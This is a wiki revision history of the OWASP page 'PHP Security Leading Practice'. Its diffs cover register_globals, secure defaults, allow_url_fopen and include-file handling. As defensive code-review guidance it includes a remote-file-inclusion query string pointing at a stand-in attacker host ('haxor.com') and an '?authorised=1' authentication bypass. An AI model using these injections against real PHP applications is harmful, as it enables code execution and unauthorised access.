PHP Security Leading Practice - Revision history

Thomas Herlea: Added navigation to facilitate sequential reading online

2010-09-09T16:48:08Z

Added navigation to facilitate sequential reading online

2009-02-11T01:59:00Z

‎Global Variables

2009-01-29T01:27:46Z

‎HTTP request Handling

2009-01-13T19:48:39Z

‎HTTP request Handling

2009-01-13T19:47:17Z

‎Files in the document root

2009-01-13T19:46:18Z

‎Initialization

2009-01-13T19:45:50Z

‎Global Variables

2008-09-03T15:55:27Z

‎Files in the document root

2008-09-03T15:54:43Z

‎File Manipulation

2008-09-03T15:53:14Z

‎Global Variables

@@ Line 1: / Line 1: @@
-[[OWASP Code Review Guide Table of Contents]]__TOC__
+{{LinkBar
 ===Global Variables===
 One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0
@@ Line 82: / Line 88: @@
 htmlspecialchars():Convert special characters to HTML entities
 [[Category:OWASP Code Review Project]]

@@ Line 1: / Line 1: @@
 [[OWASP Code Review Guide Table of Contents]]__TOC__
 ===Global Variables===
 One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0
 Include directives in PHP can be vulnerable if register_globals is enabled.
   <?PHP

@@ Line 74: / Line 74: @@
 '''Including a method'''
-If a dispatch.php method is not being used look for includes at the top of each php file. The '''include''' method may set a state such that the request can proceed.
+If a dispatch.php method is not being used, look for includes at the top of each php file. The '''include''' method may set a state such that the request can proceed.
-It may be an idea to check out PHP.ini and look for the '''auto_prepend_file''' directive. This may reference an automatic include for all files.
+It may be a good idea to check out PHP.ini and look for the '''auto_prepend_file''' directive. This may reference an automatic include for all files.
 ===Positive input validation===

@@ Line 66: / Line 66: @@
 ===HTTP request Handling===
-The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes.
+The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly, but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes.
   http://www.example.com/dispatch.php?fid=dostuff
-Relating to security it is leading practice to implement validation at the top of this file.
+Relating to security, it is leading practice to implement validation at the top of this file. All other modules required can be  '''include''' or '''require''' and in a different directory.
-'''Including a method''': If a dispatch.php method is not being used look for includes at the top of each php file.
+'''Including a method'''
-It may be an idea to check out PHP.ini and look for the '''auto_prepend_file''' directive. This may reference an automatic include for all files.
+If a dispatch.php method is not being used look for includes at the top of each php file. The '''include''' method may set a state such that the request can proceed.
 ===Positive input validation===

@@ Line 58: / Line 58: @@
 ====Files in the document root====
-At times one must have include files in the document root, and these *.inc files are not to be accessed directly. If this is the case and during the review you find such files in the root then examine httpd.conf. For example:
+At times one must have include files in the document root, and these *.inc files are not to be accessed directly. If this is the case, and during the review you find such files in the root, then examine httpd.conf. For example:
   <Files"\.inc">

@@ Line 43: / Line 43: @@
 === Initialization===
-When reviewing PHP code make sure you can see the initialization value is in a "secure default" state.
+When reviewing PHP code, make sure you can see the initialization value is in a "secure default" state.
 For example $authorised = false;

@@ Line 2: / Line 2: @@
 ===Global Variables===
 One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0
   <?PHP
@@ Line 12: / Line 13: @@
   ?>
 With register_globals enabled the $dir variable can be passed in via the query string:
   ?dir=http://www.haxor.com/gimmeeverything.php
 This would result in the $dir being set to:
   <?PHP
@@ Line 23: / Line 25: @@
   ?>
 Appending global variables to the URL may be a way to circumvent authentication:
   <?PHP
@@ Line 38: / Line 40: @@
   ?>
-If this page was requested with register_globals enabled using the following parameter ?authorised=1 in the query string the athentication  functionalotu assumes the used is authorised to proceed.
+If this page was requested with register_globals enabled, using the following parameter ?authorised=1 in the query string the athentication function assumes the user is authorised to proceed. Without register_globals enabled, the variable $authorised would not be affected by the $authorised=1 parameter.
 === Initialization===

@@ Line 52: / Line 52: @@
 ===File Manipulation===
-'''allow_url_fopen''' enabled by default in PHP.ini This allows URL's to be treated like local files.
+'''allow_url_fopen''' is enabled by default in PHP.ini This allows URLs to be treated like local files.
-URL's with malicious scripting may be included and treated like a local file.
+URLs with malicious scripting may be included and treated like a local file.
 ====Files in the document root====

@@ Line 38: / Line 38: @@
   ?>
-If this page was requested with register_globals enabled using the following parameter ?authorised=1 in the query string the athentication  functionalotu assuems the used is authorised to proceed.
+If this page was requested with register_globals enabled using the following parameter ?authorised=1 in the query string the athentication  functionalotu assumes the used is authorised to proceed.
 Without register_globals enabled the variable $authorised would not be affected by the $authorised=1 parameter.